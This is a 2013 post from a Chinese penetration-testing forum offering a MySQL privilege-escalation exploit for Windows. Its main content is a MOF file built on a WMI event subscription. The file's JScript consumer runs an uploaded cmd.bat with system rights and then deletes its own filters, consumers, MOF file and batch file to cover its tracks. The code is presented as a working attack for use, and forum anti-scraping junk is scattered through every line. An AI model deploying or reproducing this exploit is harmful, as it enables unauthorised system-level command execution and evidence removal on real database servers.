中国网络渗透测试联盟

标题: Mysql 提权即时无错Mof exp [打印本页]

作者: admin    时间: 2013-2-14 00:05
标题: Mysql 提权即时无错Mof exp
这个sql提权MOF需要运行 system下的文件,不能定义路径。
1 }' M+ T- H$ ^* C需要将要运行的命令写入到bat上传到system32目录,然后执行。" X' z3 |+ i- N5 V2 T9 r

+ u: S; V1 G1 J0 L3 A  I& Q这个sql提权MOF需要运行 system下的文件,不能定义路径。
9 J+ E, _5 S5 _  [需要将要运行的命令写入到bat上传到system32目录,然后执行。
! d% A5 X" F0 J7 ~# @7 D& C0 `3 R' o' P6 e$ `3 C, m' Y
#pragma  Z0 t1 }" g) e7 d# z4 E
                        namespace("\\\\.\\root\\cimv2"), b; p8 [' Y$ v2 G0 j9 w/ X- r
                        class
8 i) ?0 @8 I: ^+ a# H4 L                        MyClass547
' [" N4 `7 O& M8 X                        {           [key]
0 Z7 O$ [- t% ^$ a4 |' }& c                        string9 s  ~9 `9 k: R0 e- N
                        Name;
2 ~' K1 U1 ]$ _" Z3 d' Z5 P                        };
0 j7 ~* r0 ~; F- y: _( x0 L                        class
8 I* S! }7 v9 n  G- q  A5 l                        ActiveScriptEventConsumer7 z% C  y5 V3 B9 O4 z
                        : __EventConsumer {          [key]
1 H+ m2 k# v+ T6 i                        string
6 W& i, \1 a1 y) S& h% A" b                        Name;           [not_null]0 k& N+ A* H& P# y6 ~' ^
                        string/ ]/ A6 ~* A+ p, i0 ]/ ?
                        ScriptingEngine;           string
5 m1 e0 g( ]0 T1 D                        ScriptFileName;           [template]
! G3 d) N- m: u2 a3 n) W* u3 x3 f  A                        string/ a& @0 z3 O7 _
                        ScriptText;         uint32 KillTimeout;
6 G4 O6 ~2 Q# j- U0 T* v6 Y                        }; instance of __Win32Provider as $P {
1 a  n4 Z! L1 u- m, g                        Name, p9 l# \/ c7 n3 L+ c+ ^$ @+ C% t
                        =
8 O* j( i) F4 G0 o                        "ActiveScriptEventConsumer";     CLSID =* x7 Y* m, R4 ^5 S
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";% h/ E0 P$ y8 G* l8 @- f- n
                        PerUserInitialization- g+ O9 }* m) [* N' @
                        = TRUE;
, q, }$ b* M2 V; Q- m) b+ D, F                        }; instance of __EventConsumerProviderRegistration {         Provider2 l; v. a$ J8 U& s1 b( ]4 F* A
                        = $P;         ConsumerClassNames
! Q- }2 R: @  y+ ~0 G* L                        =+ p0 E9 B1 a1 s/ ]* t
                        {"ActiveScriptEventConsumer"};
4 k: v5 h9 P, v3 d) j                        };% v- N& J8 H. t# @& G0 S& q
                        Instance of ActiveScriptEventConsumer2 k5 P5 q6 ~. ~
                        as $cons {         Name+ d$ T6 f; a( V' S
                        =
# Y: c; a9 H9 C% Z( |7 j: R8 X                        "ASEC";         ScriptingEngine! S0 Z4 y8 C& d1 P- x( H
                        =3 J9 Y2 m) I6 V- x" C% q
                        "JScript";         ScriptText8 C8 `7 r/ S9 C" |' p1 f1 G, R) \1 Y
                        =% P$ V9 p1 N: L
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };6 b5 ?$ J+ ]+ l. s3 t
                        Instance of ActiveScriptEventConsumer
3 ]  K8 o2 u! H: W  y3 Q( n' r                        as $cons2 {         Name0 k- [& Z; y" w0 N- W
                        =
) j6 ~: ]) g' D9 S; M                        "qndASEC";         ScriptingEngine
( ]0 d( s: C% D& n                        =
. x7 O# y" m& N+ [3 d( q                        "JScript";         ScriptText5 w/ H! s# F6 R
                        =
' I5 M# [% ?  o' [' E4 s  A                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
6 O1 e  k9 d! V  Z- M& d                        }; instance of __EventFilter as $Filt {         Name
0 o5 W9 S: D' c) ?, B9 r                        =2 @& o! s5 ^/ G) f- ^* G8 L
                        "instfilt";         Query
2 P0 b/ {* F* g                        =
- ^9 ]$ h. J+ H) B                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage. h$ P! K$ q* `6 ?3 k
                        =
7 X" d/ j# P0 }" h: z1 D: n4 y                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
" `3 w2 V! C, L& N% d                        =
- R: [% ?5 c3 i9 e- a                        "qndfilt";         Query) A/ E) d! T7 p# L# V
                        =
; c* y) W4 _8 F6 A1 U( k# i                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
9 w# u6 D3 h2 u$ b+ [' M                        =& _& o8 E, ?2 W% Q5 j4 c% P  v9 @) w
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
" j" [- [+ c0 @) {0 p1 Y                        = $cons;         Filter0 O/ t8 e. x, k2 o6 E; q
                        = $Filt;! c. M# ?! Q9 ~& {- X) N# L
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
* [- L  |+ K- e: b7 t                        = $cons2;         Filter( t5 w/ }9 f- j: @/ ?& c
                        = $Filt2;
+ X/ }. |9 y! z5 D2 I, O* h7 W                        }; instance of MyClass547
! i1 F! Y3 q  ^! n9 e                        as $MyClass {         Name) J& }6 F* J- N2 o5 Y
                        =
1 U+ U$ j9 m. A, h! M5 u, O                        "ClassConsumer";( F/ _" @% O8 V3 ^
                        };




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2